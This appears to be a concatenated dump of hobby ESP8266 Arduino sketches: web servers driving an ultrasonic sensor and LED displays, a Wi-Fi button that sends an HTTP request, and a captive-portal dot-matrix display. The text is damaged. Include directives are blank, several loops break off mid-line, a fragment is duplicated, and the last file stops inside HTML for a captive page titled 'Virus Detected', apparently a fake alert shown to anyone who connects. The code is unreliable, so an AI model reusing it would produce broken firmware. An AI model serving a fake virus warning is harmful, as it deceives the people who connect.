39 | message += (server.method() == HTTP_GET)?"GET":"POST";
40 | message += "\nArguments: ";
41 | message += server.args();
42 | message += "\n";
43 | for (uint8_t i=0; i
12 | #include
13 | #include
14 | #include
15 |
16 | const char* ssid = ".....";
17 | const char* password = ".....";
18 |
19 | ESP8266WebServer server(80);
20 |
21 | int trigPin = 2; //Trig - green Jumper
22 | int echoPin = 0; //Echo - yellow Jumper
23 | long duration, cm, inches;
24 | String val;
25 | const int led = 5;
26 |
27 | void handleRoot() {
28 | digitalWrite(led, 1);
29 | server.send(200, "text/plain", "hello from esp8266!");
30 | digitalWrite(led, 0);
31 | }
32 |
33 | void handleNotFound(){
34 | digitalWrite(led, 1);
35 | String message = "File Not Found\n\n";
36 | message += "URI: ";
37 | message += server.uri();
38 | message += "\nMethod: ";
39 | message += (server.method() == HTTP_GET)?"GET":"POST";
40 | message += "\nArguments: ";
41 | message += server.args();
42 | message += "\n";
43 | for (uint8_t i=0; i
2 | #include
3 | #include
4 | #include
5 | #include "LedControl.h"
6 | // Arduino Pin 5 to DIN, 4 to Clk, 2 to LOAD, no.of devices is 1
7 | LedControl lc = LedControl(5, 4, 2, 1);
8 |
9 | const char* ssid = "....";
10 | const char* password = "....";
11 |
12 | ESP8266WebServer server(80);
13 |
14 | const int led = 13;
15 |
16 | void msg(int p,char m){
17 | //lc.clearDisplay(0); // Clear dsplay register
18 | lc.setChar(0, p, m, false);
19 | }
20 |
21 | void digits2screen(){
22 | lc.clearDisplay(0); // Clear dsplay register
23 | //serChar needs single ' not double "
24 | lc.setChar(0, 6, 'E', false);
25 | lc.setDigit(0, 5, 5, false);
26 | lc.setChar(0, 4, 'P', false);
27 | lc.setDigit(0, 3, 8, false);
28 | lc.setDigit(0, 2, 2, false);
29 | lc.setDigit(0, 1, 6, false);
30 | lc.setDigit(0, 0, 6, false);
31 | }
32 |
33 | void handleRoot() {
34 | lc.clearDisplay(0);
35 | if (server.args() > 0 ) {
36 | for ( uint8_t i = 0; i < server.args(); i++ ) {
37 | if (server.argName(i) == "msg") {
38 | server.send(200, "text/plain", server.arg(i));
39 | }if (server.argName(i) == "char") {
40 | String a = server.arg(i);
41 | server.send(200, "text/plain", a);
42 | int pos = 0;
43 | for(int p = a.length() - 1; p >= 0; p--){
44 | msg(pos,a.charAt(p));
45 | pos++;
46 | }
47 | }
48 | }
49 | } else{
50 | digitalWrite(led, 1);
51 | server.send(200, "text/plain", "hello from esp8266!");
52 | digitalWrite(led, 0);
53 | digits2screen();
54 | }
55 | }
56 |
57 | void handleNotFound(){
58 | digitalWrite(led, 1);
59 | String message = "File Not Found\n\n";
60 | message += "URI: ";
61 | message += server.uri();
62 | message += "\nMethod: ";
63 | message += (server.method() == HTTP_GET)?"GET":"POST";
64 | message += "\nArguments: ";
65 | message += server.args();
66 | message += "\n";
67 | for (uint8_t i=0; i.
23 | *
24 | */
25 |
26 |
27 | #include
28 | #include
29 | #include
30 |
31 | ESP8266WiFiMulti WiFiMulti;
32 |
33 |
34 | const int buttonPin = 0; // D3 on Wemos is GPIO0
35 | const int ledPin = 2; // D4 on the Wemos is the builtin LED - GPIO2
36 | int t = 0; // Prevents false presses by counting loops while button is pressed
37 | int tl = 50; // Number of loops before button is pressed
38 | int d = 1000; //delay between presses to prevent triggering more than once
39 | int buttonState = 0; // variable for reading the pushbutton status
40 |
41 | //URL to connect to
42 | String url = "http://";
43 |
44 |
45 |
46 | void setup() {
47 | Serial.begin(115200);
48 | delay(10);
49 |
50 | // We start by connecting to a WiFi network
51 | WiFiMulti.addAP("...", "...");
52 | Serial.println();
53 | Serial.println();
54 | Serial.print("Wait for WiFi... ");
55 |
56 | while(WiFiMulti.run() != WL_CONNECTED) {
57 | Serial.print(".");
58 | delay(500);
59 | }
60 |
61 | Serial.println("");
62 | Serial.println("WiFi connected");
63 | Serial.println("IP address: ");
64 | Serial.println(WiFi.localIP());
65 |
66 | delay(500);
67 |
68 | // initialize the LED pin as an output:
69 | pinMode(ledPin, OUTPUT);
70 | // initialize the pushbutton pin as an input:
71 | pinMode(buttonPin, INPUT);
72 | }
73 |
74 | void sendPress(){
75 | Serial.print("Requesting URL: ");
76 | Serial.println(url);
77 | HTTPClient http;
78 |
79 | http.begin(url); //HTTP
80 | // start connection and send HTTP header
81 | int httpCode = http.GET();
82 | // httpCode will be negative on error
83 | if(httpCode > 0) {
84 | Serial.println("Connected...");
85 |
86 | // file found at server
87 | if(httpCode == HTTP_CODE_OK) {
88 | String payload = http.getString();
89 | Serial.println("The Server says:");
90 | Serial.print(payload);
91 | }
92 | } else {
93 | String errorCode = http.errorToString(httpCode).c_str();
94 | Serial.println(errorCode);
95 | }
96 |
97 | http.end();
98 | }
99 |
100 | void loop() {
101 | // read the state of the pushbutton value:
102 | buttonState = digitalRead(buttonPin);
103 |
104 | // check if button is pressed.
105 | //button not pressed
106 | if (buttonState == HIGH) {
107 | // turn LED off:
108 | digitalWrite(ledPin, HIGH);
109 | t=0;
110 | //Serial.println("High");
111 | //button pressed
112 | } else {
113 | //if button is pressed for long enough then trigger
114 | if(t == tl){
115 | // turn LED on:
116 | digitalWrite(ledPin, LOW);
117 | Serial.println("Button Pressed");
118 | //Connect to server
119 | sendPress();
120 | delay(d);
121 | }else{
122 | //count loops while button is pressed
123 | t++;
124 | }
125 | }
126 |
127 | }
128 |
--------------------------------------------------------------------------------
/ESP8266/Displays/Matrix/MatrixPortal/MatrixPortal.ino:
--------------------------------------------------------------------------------
1 | /*
2 | Captive Port Dot Matrix By Kris Occhipinti - http://filmsbykris.com 08/26/2016
3 | Original Captive Portal by: M. Ray Burnette 20150831
4 | See Notes tab for original code references and compile requirements
5 | */
6 | #include
7 | #include
8 | #include
9 | #include "./DNSServer.h" // Patched lib
10 | #include
11 | #include "chars.h"
12 |
13 | const int led = 2;
14 |
15 |
16 | int data = 12; // DIN pin of MAX7219 module - D6
17 | int load = 13; // CS pin of MAX7219 module - D7
18 | int clock = 15; // CLK pin of MAX7219 module - D8
19 |
20 | int maxInUse = 2; //how many MAX7219 are connected
21 |
22 | MaxMatrix m(data, load, clock, maxInUse); // define Library
23 |
24 | byte buffer[10];
25 |
26 | char* string1 = " Ember to Mission Control "; // Default Scrolling Text
27 |
28 |
29 | const byte DNS_PORT = 53; // Capture DNS requests on port 53
30 | IPAddress apIP(10, 10, 10, 1); // Private network for server
31 | DNSServer dnsServer; // Create the DNS object
32 | ESP8266WebServer webServer(80); // HTTP server
33 |
34 | /* Set these to your desired credentials. */
35 | const char *ssid = "Matrix";
36 | //const char *password = "...";
37 |
38 | String responseHTML = ""
39 |
40 | "Virus Detected\n"
41 | "